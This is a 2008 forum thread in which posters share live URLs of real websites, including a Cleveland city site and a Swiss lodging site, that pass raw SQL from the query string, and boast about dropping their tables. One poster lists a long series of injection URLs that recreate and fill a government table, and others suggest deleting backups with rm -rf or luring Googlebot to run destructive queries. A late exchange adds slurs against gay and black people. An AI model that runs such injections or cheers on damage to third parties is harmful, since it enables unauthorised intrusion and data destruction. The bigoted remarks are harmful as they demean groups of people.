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SQL injection madness
Last post 05-05-2008 9:53 AM by ammoQ. 66 replies.
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digitalcircuit36939


- Joined on 03-09-2008
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Re: SQL injection madness
Wow! I hope Bobby Tables doesn't visit any of those websites.
The sentence to the right is true. The sentence to the left is false.
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rc_pinchey


- Joined on 08-15-2007
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Re: SQL injection madness
Bah! I've entirely failed to drop any tables at all. Not that I tried, of course. I especially didn't try on the United Nations homepage.
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rc_pinchey


- Joined on 08-15-2007
- Posts 202
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Re: SQL injection madness
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]User does not have permission to perform this operation on table 'Restaurantes'.
/Gastronomia/RestaurantesI.asp, line 204
I think the problem is that all the sites vulnerable enough to be fun have already been entirely destroyed by the many and varied evils of the internet.
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Bladezor


- Joined on 04-23-2008
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Re: SQL injection madness
You've got to be kidding me.
Stumbled onto this gem too.. http://cd.city.cleveland.oh.us/scripts/LandbankReports.05232007
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burntfuse


- Joined on 05-16-2007
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Re: SQL injection madness
You know, I thought you must be joking or something at first, until I went to that site myself and did a search on all records, and it didn't turn up anything. Wow. Way to go, random Cleveland site. You have the worst security I've seen in my life, and have just paid for it. Do a better job next time.
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Paddles


- Joined on 11-11-2007
- Australia
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Re: SQL injection madness
Bladezor:The sad AND scary thing is that most of the results I get from that google search are for GOVERNMENT websites. Who the hell are they contracting to do their web work? The lowest bidder. Enough said.
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Bladezor


- Joined on 04-23-2008
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Re: SQL injection madness
Ok, I did what I could to "restore" their database. Recreate the table: http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&sql_query=CREATE TABLE landbank.cityport (Ward TEXT NOT NULL, PPN TEXT NOT NULL ,Street_Number TEXT NOT NULL, Street_Name TEXT NOT NULL, Frontage_of_Parcel TEXT NOT NULL, Depth_of_Parcel TEXT NOT NULL, Sqfeet TEXT NOT NULL, Buildescr TEXT NOT NULL) Populate it: http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("18","00515009","3091","W%20106TH%20ST","25","105","2625","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("19","01919053","0","WANDA%20AVE","40","112","4480","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("19","01917012","0","BELLAIRE%20RD","64","65","4160","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("19","01917011","0","BELLAIRE%20RD","40","99","3960","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("19","01916150","0","LEEILA%20AVE","40","111","4440","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("19","01916149","0","LEEILA%20AVE","40","111","4440","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("19","01826053","0","BROOKLAWN%20AVE","297","73","21681","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("19","01826052","0","BROOKLAWN%20AVE","71","52","3692","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02225081","0","VICTORY%20BLVD","61","89","5429","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02225080","0","VICTORY%20BLVD","62","110","6820","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02225079","0","VICTORY%20BLVD","68","119","8092","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02225034","0","W%20140%20ST","21","232","4872","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02225078","0","VICTORY%20BLVD","60","113","6780","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02010091","0","MILLIGAN%20AVE","35","109","3815","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02009088","0","MILLIGAN%20AVE","35","109","3815","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02009087","0","MILLIGAN%20AVE","35","109","3815","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02009086","0","MILLIGAN%20AVE","35","109","3815","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02009085","0","MILLIGAN%20AVE","35","109","3815","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02009084","0","MILLIGAN%20AVE","35","109","3815","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02009083","0","MILLIGAN%20AVE","35","109","3815","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02009082","0","MILLIGAN%20AVE","35","109","3815","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02009081","0","MILLIGAN%20AVE","35","109","3815","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02009080","0","MILLIGAN%20AVE","35","109","3815","Non-Buildable") http://cd.city.cleveland.oh.us/scripts/sql.php?db=landbank&table=cityport&sql_query=INSERT INTO landbank.cityport VALUES("20","02009079","0","MILLIGAN%20AVE","35","109","3815","Non-Buildable")
Good enough..?
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Bladezor


- Joined on 04-23-2008
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Re: SQL injection madness
Ugh, one of you guys dropped the table again..I'm not fixing it again..
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bobday


- Joined on 04-04-2005
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Re: SQL injection madness
http://www.websahara.de/query.php?query=select+[snip]+from+land%2C+bild+where+[snip]&start=20&showrow=5 You can abuse this to show more records, but when you try to DROP the table with
http://www.websahara.de/query.php?query=DROP+TABLE+land+%2c+bild&start=0&showrow=5 you will get:
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t-bone


- Joined on 09-07-2005
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Re: SQL injection madness
bobday:http://www.websahara.de/query.php?query=select+[snip]+from+land%2C+bild+where+[snip]&start=20&showrow=5 You can abuse this to show more records, but when you try to DROP the table with
http://www.websahara.de/query.php?query=DROP+TABLE+land+%2c+bild&start=0&showrow=5 you will get:
It's just searching for some substrings like delete or drop, but it appears security is enforced properly: http://www.websahara.de/query.php?query=truncate%20table+land It didn't catch the query, but you get an
Access denied for user: 'websahara@localhost' to database 'websahara'
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TheRider


- Joined on 03-01-2005
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Re: SQL injection madness
I just noticed this page in the search results: http://www.sleep-in.ch/suchergebnis_gast.php?zoneid=10&katid=&minpers=&lang=d&Anfangsposition=40&abfrage=SELECT+i_id%2Ci_name%2Ci_vorname%2Ccb.bez+as+cod_bez%2Csubstring(value%2C1%2C20)+as+l_value%2Ci_max_personen%2Ci_zeitraum_von%2Ci_zeitraum_bis%2C+zb.bezeichnung+as+z_bez%2Ci_bemerkung%2CUNIX_TIMESTAMP(i_mutiert_am)+as+mutdat%0D%0A+++++++++++++FROM+inserate%2C+codes+co%2C+codebez+cb%2C+countries+c%2C+zonen+z%2C+zonenbez+zb%0D%0A++++++++++++where+i_rubrik_cod_id+%3D+100%0D%0A++++++++++++++and+i_typ_cod_id+%3D+200%0D%0A++++++++++++++and+i_status_cod_id+%3D+900%0D%0A++++++++++++++and+i_kat_cod_id+%3D+co.cod_id%0D%0A++++++++++++++and+co.cod_id+%3D+cb.cod_id%0D%0A++++++++++++++and+cb.spr_id+%3D+'d'+%0D%0A++++++++++++++and+i_land+%3D+c.id+%0D%0A++++++++++++++and+i_z_id+%3D+z.z_id%0D%0A++++++++++++++and+z.z_id+%3D+zb.z_id%0D%0A++++++++++++++and+zb.spr_id+%3D+'d'+and+i_z_id+in+('3'%2C'11'%2C'12'%2C'13')+order+by+cod_bez%2C+UNIX_TIMESTAMP(i_mutiert_am)+desc+&PHPSESSID=3b40f967208e224666840320c4a51273 and now I remember having read about that site in the local newspapers a few days ago. They were reported to have lost records last friday, and the operators restored to the last backup. Shall I help them test their backup/restore procedure once again? :-)
"correcting wrongs on the internet is like subtracting 1 from infinity"
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TheRider


- Joined on 03-01-2005
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Re: SQL injection madness
BTW, this is what they report under "Aktuell" == "news": In der Nacht vom Sonntag, 20. April auf Montag 21. April 2008 wurde sleep-in.ch Opfer eines Hacker-Angriffs.
Dabei wurden alle Angebote der über 2800 Gastgeber und Gäste gezielt
gelöscht. Sleep-In konnte mit wenigen Ausnahmen alle Inserate
wiederherstellen (Stand Sonntag Morgen). Sleep-In entschuldigt sich bei
seinen Gastgeber und Gästen
und arbeitet mit Hochdruck daran, dass sich dieser Vorfall nicht
wiederholen kann.
Aber natürlich sind wir verärgert und enttäuscht.
Trotzdem: Auf eine gfreute Euro08!
Translates to During the night sunday, april 20 to monday april 21, sleep-in.ch has become the victim of a hacker attack. Thereby, all offers of more than 2800 hosts and guests have been deleted on purpose. Sleep-in was able to restore all ads with only a few exception (status of sunday morning). Sleep-In is apologizing to all hosts and guests and is working with high pressure to not let this incident repeat itself. But of course, we are angry and disappointed. Still: Enjoy a happy Euro08!
Now, what do we say!
"correcting wrongs on the internet is like subtracting 1 from infinity"
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t-bone


- Joined on 09-07-2005
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Re: SQL injection madness
TheRider: BTW, this is what they report under "Aktuell" == "news": During the night sunday, april 20 to monday april 21, sleep-in.ch has become the victim of a hacker attack. Thereby, all offers of more than 2800 hosts and guests have been deleted on purpose. Sleep-in was able to restore all ads with only a few exception (status of sunday morning). Sleep-In is apologizing to all hosts and guests and is working with high pressure to not let this incident repeat itself. But of course, we are angry and disappointed. Still: Enjoy a happy Euro08!
Now, what do we say! They only do nightly backups, people should delete their records in the evening
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ZippoLag


- Joined on 03-19-2008
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Re: SQL injection madness
"up and down, back and forth, faster, faster.."
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belgariontheking


- Joined on 08-20-2007
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Re: SQL injection madness
Bladezor:hate on cleveland
It's funny because they deserve it, being from Cleveland and all.
SpectateSwamp exposing aliens. Obviously the World needs SSDS
[10:07] <fatdog> so from now on.. be sure to wear nice clean underwear [10:07] <mps> fatdog: That is simply not going to happen
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galgorah


- Joined on 04-18-2007
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Re: SQL injection madness
Bladezor:Ugh, one of you guys dropped the table again..I'm not fixing it again..
I get the feeling that by the end of the day their database is going to be in a sad state of affairs.
Creaping you out since 1981!
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t-bone


- Joined on 09-07-2005
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Re: SQL injection madness
galgorah: Bladezor:Ugh, one of you guys dropped the table again..I'm not fixing it again..
I get the feeling that by the end of the day their database is going to be in a sad state of affairs. Bonus points if someone succeeds in executing rm -rf /var/backup :)
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morbiuswilters


- Joined on 01-15-2008
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Re: SQL injection madness
t-bone:Bonus points prison rape if someone succeeds in executing rm -rf /var/backup :)
FTFY.
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KNY


- Joined on 07-19-2006
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Re: SQL injection madness
belgariontheking:Sig: To fill your mind with knowledge, we must start by emptying it
That's really funny, considering the context of this thread.
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Xiphonex


- Joined on 03-14-2008
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Re: SQL injection madness
Looks like they took it offline, or someone dropped the database(s)
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galgorah


- Joined on 04-18-2007
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Re: SQL injection madness
Xiphonex:
Looks like they took it offline, or someone dropped the database(s)
I guess I should have added earlier to my above post "Or it may not exist at all!"
Creaping you out since 1981!
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mtill


- Joined on 04-24-2008
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Re: SQL injection madness
Bladezor:Shit shit shit, though I hate to admit it, I dropped a table on the city of cleveland's website. Bladezor:Ok, I did what I could to "restore" their database.
Bladezor:Ugh, one of you guys dropped the table again..I'm not fixing it again..
That is the funniest thing I have reaad in ages. I thank you. mt
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Outlaw Programmer


- Joined on 01-07-2008
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mtill:That is the funniest thing I have reaad in ages. I thank you. I agree! Never before have I seen someone use SQL injection to actually RESTORE someone's database. The only thing better would be if they truly hacked this server and, instead of just destroying it, went ahead and patched all the security holes, defragmented the hard drive and emptied the trash.
-- The sacrifice the code demanded... --
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Carnildo


- Joined on 03-30-2005
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Re: SQL injection madness
Outlaw Programmer:...and emptied the trash.Â
But critical documents were stored there!
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ais523


- Joined on 04-23-2008
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Re: SQL injection madness
TheRider:http://www.sleep-in.ch/suchergebnis_gast.php?zoneid=10&katid=&minpers=&lang=d&Anfangsposition=40&abfrage=SELECT+i_id%2Ci_name%2Ci_vorname%2Ccb.bez+as+cod_bez%2Csubstring(value%2C1%2C20)+as+l_value%2Ci_max_personen%2Ci_zeitraum_von%2Ci_zeitraum_bis%2C+zb.bezeichnung+as+z_bez%2Ci_bemerkung%2CUNIX_TIMESTAMP(i_mutiert_am)+as+mutdat%0D%0A+++++++++++++FROM+inserate%2C+codes+co%2C+codebez+cb%2C+countries+c%2C+zonen+z%2C+zonenbez+zb%0D%0A++++++++++++where+i_rubrik_cod_id+%3D+100%0D%0A++++++++++++++and+i_typ_cod_id+%3D+200%0D%0A++++++++++++++and+i_status_cod_id+%3D+900%0D%0A++++++++++++++and+i_kat_cod_id+%3D+co.cod_id%0D%0A++++++++++++++and+co.cod_id+%3D+cb.cod_id%0D%0A++++++++++++++and+cb.spr_id+%3D+'d'+%0D%0A++++++++++++++and+i_land+%3D+c.id+%0D%0A++++++++++++++and+i_z_id+%3D+z.z_id%0D%0A++++++++++++++and+z.z_id+%3D+zb.z_id%0D%0A++++++++++++++and+zb.spr_id+%3D+'d'+and+i_z_id+in+('3'%2C'11'%2C'12'%2C'13')+order+by+cod_bez%2C+UNIX_TIMESTAMP(i_mutiert_am)+desc+&PHPSESSID=3b40f967208e224666840320c4a51273
The Real WTF is that that's correctly indented. Oh, and \r\n newlines.
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lolwtf


- Joined on 04-02-2008
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Re: SQL injection madness
Man, like 4 in a row seem to be fakes or something. You can put anything in the query string and it still returns the same result. Also, a few phpMyAdmin pages here.
Carnildo: Outlaw Programmer:...and emptied the trash.
But critical documents were stored there!
I lol'd.
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rc_pinchey


- Joined on 08-15-2007
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Re: SQL injection madness
MasterPlanSoftware:
Wow, I wouldn't want to be the guy who tried an SQL injection attack on the UN right about now...
*thinks...* Oh shit.
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morbiuswilters


- Joined on 01-15-2008
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Re: SQL injection madness
rc_pinchey:Wow, I wouldn't want to be the guy who tried an SQL injection attack on the UN right about now...
*thinks...*
Oh shit.
Meh, the UN has no real power. "In latest news, the UN security council has voted to send a firmly-worded letter to rc_pinchey for attempting to hack its database."
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belgariontheking


- Joined on 08-20-2007
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Re: SQL injection madness
superjer:
Wow. Just Wow.
SpectateSwamp exposing aliens. Obviously the World needs SSDS
[10:07] <fatdog> so from now on.. be sure to wear nice clean underwear [10:07] <mps> fatdog: That is simply not going to happen
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Tuuli Mustasydan


- Joined on 04-25-2008
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Re: SQL injection madness
superjer: I clicked on the very first Google result and -- there's a tab labelled "Drop".. That couldn't possibly do what I think it does -- could it?? I clicked on it, but just couldn't bring myself to click on "OK". All I can say is . . . . OH MY GOD!!!! 
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Otterdam


- Joined on 09-25-2006
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Re: SQL injection madness
Tuuli Mustasydan:I clicked on the very first Google result and -- there's a tab labelled "Drop".. That couldn't possibly do what I think it does -- could it?? I clicked on it, but just couldn't bring myself to click on "OK". All I can say is . . . . OH MY GOD!!!! You're lying. I can't see any phpmyadmin database there!
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boh


- Joined on 03-05-2007
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Re: SQL injection madness
Hypothetically, you could create crafty URL:s, put them on the web somewhere, and let the Google spider do the "real" hacking. Hypothetically.
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bugzilla


- Joined on 03-02-2008
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Re: SQL injection madness
Outlaw Programmer: mtill:That is the funniest thing I have reaad in ages. I thank you. I agree! Never before have I seen someone use SQL injection to actually RESTORE someone's database. The only thing better would be if they truly hacked this server and, instead of just destroying it, went ahead and patched all the security holes, defragmented the hard drive and emptied the trash. Bah. Then They'd only expect us to fix all their problems from now on ...
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derula


- Joined on 06-15-2007
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Re: SQL injection madness
MasterPlanSoftware:
The guestbook I attacked isn't back yet... I feel somewhat bad... At least it didn't belong to the UN.
You can now help me balance the tag cloud.
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Kyanar


- Joined on 10-21-2006
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Re: SQL injection madness
Bladezor:Ugh, one of you guys dropped the table again..I'm not fixing it again..
Actually, GoogleBot probably dropped the table for you. Just include the restore query in this thread too, and GoogleBot should get stuck in an infinite loop of destroying and recreating that table until the end of time.
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Bladezor


- Joined on 04-23-2008
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Re: SQL injection madness
Kyanar: Bladezor:Ugh, one of you guys dropped the table again..I'm not fixing it again..
Actually, GoogleBot probably dropped the table for you. Just include the restore query in this thread too, and GoogleBot should get stuck in an infinite loop of destroying and recreating that table until the end of time.
I don't think GoogleBot would add a table called "ThisIsFun" and a
database called "Fubar" right before the whole thing was dropped.
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lolwtf


- Joined on 04-02-2008
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Re: SQL injection madness
I love how Microsoft's response is basically "it's not a bug in the software, but update anyway" and "it's an SQL injection exploit" without any attempt to explain what an SQL injection exploit is. People read "exploit", they assume the software (i.e. IIS) is responsible. The more tables drop, the more flak Microsoft takes for something that (for once) actually isn't their problem! Ha!
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MasterPlanSoftware


- Joined on 11-10-2006
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Re: SQL injection madness
lolwtf:Even more daily drivel Thanks for pointing out the obvious!
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rc_pinchey


- Joined on 08-15-2007
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Re: SQL injection madness
MasterPlanSoftware: lolwtf:Even more daily drivel Thanks for pointing out the obvious!
Has too much exposure to Swampy turned you into a troll? That seems a little uncalled-for...
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MasterPlanSoftware


- Joined on 11-10-2006
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Re: SQL injection madness
rc_pinchey:That seems a little uncalled-for... Then go read our daily dose of 'lolwtf'. He has decided to post on every thread with nonsense. Brilliant posts like "Really'. So no, not uncalled for.
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fbjon


- Joined on 07-04-2007
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Re: SQL injection madness
Flaming is always uncalled for.
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morbiuswilters


- Joined on 01-15-2008
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Re: SQL injection madness
fbjon:Flaming is always uncalled for.
I happen to live in a state that allows homosexuals to marry one another? Do you find that offensive, too? You're no better than the people who wouldn't allow blacks to vote. Well, except that blacks probably won't vote the right way..
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MasterPlanSoftware


- Joined on 11-10-2006
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Re: SQL injection madness
morbiuswilters: fbjon:Flaming is always uncalled for.
I happen to live in a state that allows homosexuals to marry one another? Do you find that offensive, too? You're no better than the people who wouldn't allow blacks to vote. Yeah really, we don't need your kind around here. Take your hate and fear mongering elsewhere please.
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lolwtf


- Joined on 04-02-2008
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Re: SQL injection madness
rc_pinchey: MasterPlanSoftware: lolwtf:Even more daily drivel Thanks for pointing out the obvious!
Has too much exposure to Swampy turned you into a troll? That seems a little uncalled-for...
You're only noticing now that he's a troll?
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ammoQ


- Joined on 04-13-2005
- Vienna.Austria.Europe.Earth
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Re: SQL injection madness
lolwtf:You're only noticing now that he's a troll? More like an annoying hyperactive child. Just look at his post count. Close to mine, but he wrote almost all of them during the last 6 months. A good troll doesn't post that much. He drops a carefully crafted flamebait now and then and enjoys the fallout.
beanbag girl 4ever
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